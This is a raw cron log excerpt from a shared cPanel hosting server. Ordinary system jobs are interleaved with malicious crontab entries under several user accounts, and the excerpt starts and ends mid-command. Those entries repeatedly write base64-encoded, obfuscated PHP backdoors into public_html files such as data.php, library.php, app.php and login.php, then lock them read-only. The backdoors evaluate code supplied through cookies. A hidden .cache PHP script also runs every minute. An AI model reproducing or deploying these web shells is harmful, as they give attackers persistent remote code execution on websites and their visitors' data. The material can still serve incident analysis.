SkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:48:01 medusa CROND[32556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 10:48:01 medusa CROND[32558]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:48:01 medusa CROND[32560]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:48:01 medusa CROND[32561]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:48:01 medusa CROND[32559]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:48:01 medusa CROND[32562]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:48:01 medusa CROND[32565]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:48:01 medusa CROND[32566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:48:01 medusa CROND[32567]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:49:02 medusa CROND[19233]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 10:49:02 medusa CROND[19356]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:49:02 medusa CROND[19357]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 10:49:02 medusa CROND[19358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 10:49:02 medusa CROND[19360]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:49:02 medusa CROND[19361]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:49:02 medusa CROND[19362]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 10:49:02 medusa CROND[19363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:49:02 medusa CROND[19364]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:49:02 medusa CROND[19365]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 10:49:02 medusa CROND[19368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 10:49:02 medusa CROND[19379]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:50:01 medusa CROND[3799]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 10:50:01 medusa CROND[3812]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 10:50:01 medusa CROND[4008]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 10:50:02 medusa CROND[4120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 10:50:02 medusa CROND[4124]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  2 10:50:02 medusa CROND[4125]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 10:50:02 medusa CROND[4126]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 10:50:02 medusa CROND[4129]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 10:50:02 medusa CROND[4130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 10:50:02 medusa CROND[4127]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4131]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4132]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4128]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 10:50:02 medusa CROND[4135]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 10:50:02 medusa CROND[4140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 10:50:02 medusa CROND[4145]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4146]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 10:50:02 medusa CROND[4142]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 10:50:02 medusa CROND[4149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 